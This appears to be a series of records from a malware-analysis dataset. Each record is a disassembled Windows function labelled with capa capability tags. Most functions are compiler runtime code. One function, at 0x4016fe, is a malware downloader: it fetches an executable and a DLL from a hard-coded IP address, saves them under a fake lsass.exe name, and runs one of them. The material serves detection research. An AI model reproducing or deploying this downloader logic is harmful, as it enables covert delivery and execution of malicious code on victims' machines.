joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140001cf0
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sym.vfprintf
call sym.abort
nop
nop word [rax + rax]

Function at 0x140001d60
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x50
movsxd rbx, dword [0x1400170b4]
mov r12, rcx
test ebx, ebx
jle 0x140001e90
mov rax, qword [0x1400170b8]
xor ecx, ecx
add rax, 0x18
nop word [rax + rax]
mov rdx, qword [rax]
cmp rdx, r12
ja 0x140001dac
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x140001e33
add ecx, 1
add rax, 0x28
cmp ecx, ebx
jne 0x140001d90
mov rcx, r12
call dbg.__mingw_GetSectionForAddress
mov rsi, rax
test rax, rax
je 0x140001eb2
mov rax, qword [0x1400170b8]
lea rbx, [rbx + rbx*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rsi
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [rsi + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x1400170b8]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001e97
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x140001e2c
lea edx, [rax - 4]
and edx, 0xfffffffb
jne 0x140001e40
add dword [0x1400170b4], 1
add rsp, 0x50
pop rbx
pop rsi
pop r12
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 4
mov eax, 0x40
cmovne r8d, eax
add rbx, qword [0x1400170b8]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001e2c
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax]
xor ebx, ebx
jmp 0x140001db7
mov rax, qword [0x1400170b8]
mov edx, dword [rsi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call dbg.__report_error
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call dbg.__report_error
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x140002370
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x140017120]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x140017100]
test rbx, rbx
je 0x1400023c4
mov rdi, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x1400023bb
test r12, r12
je 0x1400023bb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x1400023a0
lea rcx, [0x140017120]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x1400025e0
Capabilities:
Parse pe header

Disassembly:
xor eax, eax
cmp word [rcx], 0x5a4d
jne 0x1400025f8
movsxd rdx, dword [rcx + 0x3c]
add rcx, rdx
cmp dword [rcx], 0x4550
je 0x140002600
ret
xor eax, eax
cmp word [rcx + 0x18], 0x20b
sete al
ret

Function at 0x140002610
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
mov r8, rdx
lea rdx, [rax + rcx]
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x14000265c
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov ecx, dword [rax + 0xc]
mov rdx, rcx
cmp rcx, r8
ja 0x140002653
add edx, dword [rax + 8]
cmp rdx, r8
ja 0x14000265e
add rax, 0x28
cmp rax, r9
jne 0x140002640
xor eax, eax
ret

Function at 0x140002660
Capabilities:
Parse pe header

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, rcx
call sym.strlen
cmp rax, 8
ja 0x1400026f0
mov rdx, qword [0x1400139c0]
xor r12d, r12d
cmp word [rdx], 0x5a4d
jne 0x1400026de
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
jne 0x1400026de
cmp word [rax + 0x18], 0x20b
jne 0x1400026de
movzx edx, word [rax + 0x14]
lea r12, [rax + rdx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x1400026f0
sub eax, 1
lea rax, [rax + rax*4]
lea rsi, [r12 + rax*8 + 0x28]
jmp 0x1400026c9
add r12, 0x28
cmp r12, rsi
je 0x1400026f0
mov r8d, 8
mov rdx, rbx
mov rcx, r12
call sym.strncmp
test eax, eax
jne 0x1400026c0
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
xor r12d, r12d
mov rax, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret

Function at 0x140002700
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x1400139c0]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002720
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002728
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002720
movzx eax, word [r8 + 0x14]
sub rcx, rdx
movzx edx, word [r8 + 6]
lea rax, [r8 + rax + 0x18]
test edx, edx
je 0x140002775
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x14000276c
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002720
add rax, 0x28
cmp rax, r9
jne 0x140002758
xor eax, eax
ret

Function at 0x140002780
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400139c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x1400027a0
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x1400027a8
mov eax, r8d
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400027a0
movzx r8d, word [rax + 6]
mov eax, r8d
ret
Function at 0x1400027c0
Capabilities:
Parse pe header

Disassembly:
mov r8, qword [0x1400139c0]
xor eax, eax
cmp word [r8], 0x5a4d
jne 0x1400027e0
movsxd rdx, dword [r8 + 0x3c]
add rdx, r8
cmp dword [rdx], 0x4550
je 0x1400027e8
ret
cmp word [rdx + 0x18], 0x20b
jne 0x1400027e0
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002828
sub edx, 1
lea rdx, [rdx + rdx*4]
lea rdx, [rax + rdx*8 + 0x28]
nop dword [rax]
test byte [rax + 0x27], 0x20
je 0x14000281f
test rcx, rcx
je 0x1400027e0
sub rcx, 1
add rax, 0x28
cmp rax, rdx
jne 0x140002810
xor eax, eax
ret

Function at 0x140002830
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x1400139c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002850
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002858
mov rax, r8
ret
cmp word [rdx + 0x18], 0x20b
cmove r8, rax
mov rax, r8
ret

Function at 0x140002870
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rax, qword [0x1400139c0]
xor r8d, r8d
cmp word [rax], 0x5a4d
jne 0x140002890
movsxd rdx, dword [rax + 0x3c]
add rdx, rax
cmp dword [rdx], 0x4550
je 0x140002898
mov eax, r8d
ret
cmp word [rdx + 0x18], 0x20b
jne 0x140002890
sub rcx, rax
movzx eax, word [rdx + 0x14]
lea rax, [rdx + rax + 0x18]
movzx edx, word [rdx + 6]
test edx, edx
je 0x140002890
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400028d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400028e8
add rax, 0x28
cmp r9, rax
jne 0x1400028c0
xor r8d, r8d
mov eax, r8d
ret
mov r8d, dword [rax + 0x24]
not r8d
shr r8d, 0x1f
mov eax, r8d
ret

Function at 0x140002900
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov r11, qword [0x1400139c0]
xor r9d, r9d
cmp word [r11], 0x5a4d
jne 0x140002922
movsxd r8, dword [r11 + 0x3c]
add r8, r11
cmp dword [r8], 0x4550
je 0x140002930
mov rax, r9
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002922
mov eax, dword [r8 + 0x90]
test eax, eax
je 0x140002922
movzx edx, word [r8 + 0x14]
lea rdx, [r8 + rdx + 0x18]
movzx r8d, word [r8 + 6]
test r8d, r8d
je 0x140002922
sub r8d, 1
lea r8, [r8 + r8*4]
lea r10, [rdx + r8*8 + 0x28]
nop dword [rax]
mov r9d, dword [rdx + 0xc]
mov r8, r9
cmp rax, r9
jb 0x14000297d
add r8d, dword [rdx + 8]
cmp rax, r8
jb 0x140002990
add rdx, 0x28
cmp r10, rdx
jne 0x140002968
xor r9d, r9d
mov rax, r9
ret
add rax, r11
jmp 0x14000299f
sub ecx, 1
add rax, 0x14
mov r8d, dword [rax + 4]
test r8d, r8d
jne 0x1400029af
mov edx, dword [rax + 0xc]
test edx, edx
je 0x140002986
test ecx, ecx
jg 0x140002998
mov r9d, dword [rax + 0xc]
add r9, r11
mov rax, r9
ret
Function at 0x140004020
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rbx
sub rsp, 0x28
mov rsi, qword [0x140013a40]
mov rax, qword [rsi]
test rax, rax
je 0x1400040b0
cmp qword [rax + 0x30], 0
jne 0x1400040d0
lea rbx, [0x140012078]
mov qword [rax + 0x30], rbx
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [rsi]
test rax, rax
je 0x140004080
cmp qword [rax + 0x30], 0
jne 0x1400040a0
lea rdx, [0x140012078]
mov qword [rax + 0x30], rdx
mov rax, rdx
cmp dword [rax], 0xffffffff
je sym.pthread_tls_init.cold
add rsp, 0x28
pop rbx
pop rsi
ret
call sym.__shmem3_winpthreads_tdm_init_local_region
mov r8, rax
mov rax, qword [rsi]
cmp qword [r8 + 0x30], 0
je 0x140004062
test rax, rax
jne 0x1400040a0
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rax, qword [rax + 0x30]
jmp 0x140004070
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x30], 0
mov rax, qword [rsi]
je 0x140004040
test rax, rax
jne 0x1400040d0
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rbx, qword [rax + 0x30]
jmp 0x14000404b

Function at 0x1400040e0
Capabilities:
Print debug messages

Disassembly:
sub rsp, 0x98
movabs rax, 0x6c6320726f727245
movabs rdx, 0x7520676e696e6165
mov qword [rsp + 0x20], rax
movabs rax, 0x6b5f6e6970732070
mov qword [rsp + 0x28], rdx
movabs rdx, 0x20726f6620737965
mov qword [rsp + 0x30], rax
movabs rax, 0x20646165726874
mov qword [rsp + 0x38], rdx
xor edx, edx
mov qword [rsp + 0x40], rax
xor eax, eax
mov qword [rsp + 0x48], rdx
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
mov qword [rsp + 0x60], 0
mov qword [rsp + 0x68], 0
mov qword [rsp + 0x70], 0
mov qword [rsp + 0x78], 0
mov qword [rsp + 0x80], 0
mov word [rsp + 0x88], ax
mov byte [rsp + 0x8a], 0
call qword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
lea rdx, [rsp + 0x47]
mov r8d, 0xa
mov ecx, eax
call qword [sym.imp.msvcrt.dll__ultoa]
cmp byte [rsp + 0x47], 0
je 0x1400041f2
mov eax, 0x28
lea rcx, [rsp + 0x20]
jmp 0x1400041ca
add rax, 1
cmp rax, 0x6b
je 0x1400041e7
cmp byte [rcx + rax], 0
movsxd rdx, eax
jne 0x1400041c0
cmp edx, 0x6a
je 0x1400041e7
lea eax, [rdx + 1]
cdqe
mov byte [rsp + rdx + 0x20], 0xa
mov byte [rsp + rax + 0x20], 0
call qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call sym.abort
mov eax, 0x28
mov edx, 0x27
lea rcx, [rsp + 0x20]
jmp 0x1400041db
Function at 0x140007ca0
Capabilities:
Hijack thread execution
Resume thread
Suspend thread

Disassembly:
push r12
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x140013a40]
mov rax, qword [rbx]
mov r12, rcx
mov esi, edx
test rax, rax
je 0x140007d70
cmp qword [rax + 0x60], 0
jne 0x140007d90
lea rcx, [0x140012068]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_lock
mov rcx, r12
call sym.__pthread_get_pointer
test rax, rax
je 0x140007da0
cmp qword [rax + 0x1d8], r12
jne 0x140007da0
test byte [rax + 0x40], 0xc
jne 0x140007da0
mov edx, dword [rax + 0xbc]
test edx, edx
jne 0x140007da0
mov rax, qword [rax + 0x28]
sub rax, 1
cmp rax, 0xfffffffffffffffd
ja 0x140007da0
mov rax, qword [rbx]
test rax, rax
je 0x140007e00
cmp qword [rax + 0x60], 0
jne 0x140007e20
lea rcx, [0x140012068]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_unlock
test esi, esi
je 0x140007e30
lea edx, [rsi - 2]
cmp edx, 0x15
ja 0x140007e38
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop r12
jmp sym.pthread_cancel
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x140007ccb
test rax, rax
jne 0x140007d90
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007cd6
mov rax, qword [rbx]
test rax, rax
je 0x140007dd0
cmp qword [rax + 0x60], 0
jne 0x140007df0
lea rcx, [0x140012068]
mov qword [rax + 0x60], rcx
call sym.pthread_mutex_unlock
mov eax, 3
add rsp, 0x20
pop rbx
pop rsi
pop r12
ret
call sym.__shmem3_winpthreads_tdm_init_local_region
mov r8, rax
mov rax, qword [rbx]
cmp qword [r8 + 0x60], 0
je 0x140007daf
test rax, rax
jne 0x140007df0
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007dba
call sym.__shmem3_winpthreads_tdm_init_local_region
cmp qword [rax + 0x60], 0
mov rax, qword [rbx]
je 0x140007d3a
test rax, rax
jne 0x140007e20
call sym.__shmem3_winpthreads_tdm_init_local_region
nop dword [rax]
mov rcx, qword [rax + 0x60]
jmp 0x140007d45
xor eax, eax
jmp 0x140007dc4
mov eax, 0x16
jmp 0x140007dc4
Function at 0x140008da0
Capabilities:
Print debug messages

Disassembly:
push r12
push rbx
sub rsp, 0x58
mov r12, rcx
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140008dc0
add rsp, 0x58
pop rbx
pop r12
ret
lea rdx, [rsp + 0x48]
mov r9d, 0x400
mov r8d, eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x20], rdx
mov ecx, 0x1100
xor edx, edx
mov dword [rsp + 0x28], 0
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
test eax, eax
jne 0x140008e08
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008db4
int3
mov rcx, qword [rsp + 0x48]
mov rbx, qword [sym.imp.KERNEL32.dll_OutputDebugStringA]
call rbx
mov rcx, r12
call rbx
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140008df5

Function at 0x140008e30
Capabilities:
Check mutex on windows

Disassembly:
push r12
sub rsp, 0x20
xor edx, edx
xor ecx, ecx
lea r8, [0x1400172c0]
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x140008ee8
mov rdx, qword [0x140017200]
lea rcx, [0x140017200]
mov rax, qword [rdx + 8]
test rax, rax
je 0x140008eb8
cmp rdx, rcx
jne 0x140008e9a
mov qword [rdx], rax
cmp rax, rcx
je 0x140008e9f
nop dword [rax]
test rax, rax
je 0x140008eca
mov rdx, qword [rdx]
mov qword [rax], rdx
mov rdx, rax
mov rax, qword [rdx + 8]
cmp rax, rcx
jne 0x140008e88
mov rax, qword [rcx + 8]
mov qword [rdx + 8], rax
test rax, rax
je 0x140008eca
mov rdx, rax
jmp 0x140008e96
lea rcx, [0x140017300]
call qword [sym.imp.KERNEL32.dll_FindAtomA]
test ax, ax
jne 0x140008f06
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
lea rcx, str.failed_to_to_lock_cleanup_mutex_n
call sym.__shmem_get_error
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
add rsp, 0x20
pop r12
ret
movzx ecx, ax
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
jmp 0x140008eca
Function at 0x4016fe
Capabilities:
Create directory
Create process on windows
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
lea rcx, str.C:UserPublicProgram_Files
mov rax, qword [sym.imp.msvcrt.dll__mkdir]
call rax
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:UserPublicProgram_Fileslsass.exe
lea rdx, str.http:__61.238.103.199:8081_ieproc.exe
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:UserPublicProgram_Fileslog.dll
lea rdx, str.http:__61.238.103.199:8081_log.dll
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
mov qword [rsp + 0x20], 0
mov r9d, 0
lea r8, str.C:UserPublicProgram_Fileslog.log
lea rdx, str.http:__61.238.103.199:8081_log.log
mov ecx, 0
call sub.urlmon.dll_URLDownloadToFileA
mov dword [rsp + 0x28], 0
lea rax, str.C:UserPublicProgram_Files
mov qword [rsp + 0x20], rax
lea r9, [0x004b8123]
lea r8, str.C:UserPublicProgram_Filesieproc.exe
lea rdx, str.open
mov ecx, 0
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteA]
call rax
nop
add rsp, 0x30
pop rbp
ret

Function at 0x40c550
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.004187f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.004187f0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]
Function at 0x40c5c0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x004e5634]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x40c768
mov rax, qword [0x004e5638]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x40c60c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x40c697
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x40c5f0
mov rcx, r12
call fcn.0040d320
mov rbp, rax
test rax, rax
je 0x40c7a2
mov rax, qword [0x004e5638]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.0040d450
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x004e5638]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x40c7b1
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x40c690
sub eax, 4
and eax, 0xfffffffb
jne 0x40c720
add dword [0x004e5634], 1
cmp ebx, 8
jae 0x40c6c8
test bl, 4
jne 0x40c770
test ebx, ebx
je 0x40c6b9
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x40c790
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x40c6b9
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x40c6fa
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x004e5638]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x40c690
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.0040c550
nop dword [rax]
xor edi, edi
jmp 0x40c617
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x40c6b9
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x40c6b9
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.0040c550
mov rax, qword [0x004e5638]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.0040c550
nop
nop dword [rax]
Function at 0x40cf90
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x004e5920]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x004e5900]
test rbx, rbx
je 0x40cfe4
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x40cfdb
test r12, r12
je 0x40cfdb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x40cfc0
lea rcx, [0x004e5920]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x40d320
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004bd9e0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x40d399
mov rcx, r10
call fcn.0040d1f0
test eax, eax
je 0x40d399
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x40d396
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x40d38d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x40d399
add r8, 0x28
cmp r8, r9
jne 0x40d378
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x40dd30
Capabilities:
Check mutex on windows

Disassembly:
push rbp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rbp, [rsp + 0x80]
mov qword [rbp], r8
mov r15, rcx
movsxd rbx, edx
call sub.msvcrt.dll_strlen
mov rsi, rax
lea r13d, [rax + 0xf]
lea edi, [rax + 0x10]
lea eax, [rax + 0x52]
cdqe
add rax, 0xf
and rax, 0xfffffffffffffff0
call fcn.0040d5d0
sub rsp, rax
movsxd r12, esi
mov rdx, r15
movsxd r13, r13d
mov r8, r12
lea r14, [rsp + 0x20]
lea rcx, [rsp + 0x2f]
movabs rax, 0x656d68732d636367
mov qword [rsp + 0x20], rax
mov eax, 0x326d
lea r15d, [rsi + 0x50]
mov dword [rsp + 0x28], 0x64742d6d
mov word [rsp + 0x2c], ax
mov byte [rsp + 0x2e], 0x2d
call sub.msvcrt.dll_memcpy
lea rax, [r14 + r12 + 0x10]
mov r8, r14
movabs rdx, 0x6161616161616161
movabs rcx, 0x6161616161616161
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov qword [rax + 0x10], rdx
mov qword [rax + 0x18], rcx
mov qword [rax + 0x20], rdx
mov qword [rax + 0x28], rcx
mov qword [rax + 0x30], rdx
xor edx, edx
mov qword [rax + 0x38], rcx
movsxd rax, r15d
xor ecx, ecx
mov byte [rsp + rax + 0x20], 0
mov byte [rsp + r13 + 0x20], 0
call qword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov byte [rsp + r13 + 0x20], 0x2d
mov edx, 0xffffffff
mov r12, rax
mov rcx, rax
call qword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
test eax, eax
je 0x40de2a
int3
mov rcx, r14
add esi, 0x51
call qword [sym.imp.KERNEL32.DLL_FindAtomA]
test ax, ax
je 0x40de78
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call fcn.0040dcc0
mov r14, rax
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_ReleaseMutex]
mov rcx, r12
call qword [sym.imp.KERNEL32.DLL_CloseHandle]
mov rax, r14
lea rsp, [rbp - 0x58]
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
mov rcx, rbx
call sub.msvcrt.dll_malloc
mov r13, rax
mov eax, 0x40
nop dword [rax + rax]
bt r13, rax
jae 0x40dea3
mov edx, r15d
sub edx, eax
movsxd rdx, edx
mov byte [r14 + rdx], 0x41
sub eax, 1
jne 0x40de90
mov rcx, r14
call qword [sym.imp.KERNEL32.DLL_AddAtomA]
test ax, ax
jne 0x40deb7
int3
mov rdx, r14
movzx ecx, ax
mov r9d, edi
mov r8d, esi
call fcn.0040dcc0
mov r14, rax
cmp r13, rax
je 0x40dedd
mov rcx, r13
call fcn.00418190
jmp 0x40de4f
xor edx, edx
mov r8, rbx
mov rcx, rax
call sub.msvcrt.dll_memset
cmp qword [rbp], 0
je 0x40de4f
mov rcx, r14
call qword [rbp]
jmp 0x40de4f

Function at 0x41b1c0
Capabilities:
Allocate thread local storage

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, qword [0x004e6408]
test rbx, rbx
je 0x41b1f8
call qword [sym.imp.KERNEL32.DLL_TlsAlloc]
mov dword [rbx], eax
mov rax, qword [0x004e6408]
test rax, rax
je 0x41b220
cmp dword [rax], 0xffffffff
je 0x4b4250
add rsp, 0x20
pop rbx
ret
lea r8, [0x0041a5d0]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0041ed20
mov qword [0x004e6408], rax
mov rbx, rax
jmp 0x41b1d1
lea r8, [0x0041a5d0]
mov edx, 4
lea rcx, str._pthread_tls_shmem
call fcn.0041ed20
mov qword [0x004e6408], rax
jmp 0x41b1e5
call sub.msvcrt.dll_abort
nop
Function at 0x41b6d0
Capabilities:
Print debug messages

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x98
mov rbx, rcx
test rcx, rcx
je 0x41b6f5
call fcn.0041a570
cmp eax, 1
je 0x41b702
mov qword [rbx], 0xffffffffffffffff
add rsp, 0x98
pop rbx
pop rsi
pop rdi
pop r12
ret
lea r12, [rsp + 0x20]
xor eax, eax
mov ecx, 0xa
lea rsi, str.Error_cleaning_up_spin_keys_for_thread
mov rdi, r12
rep movsd dword [rdi], dword [rsi]
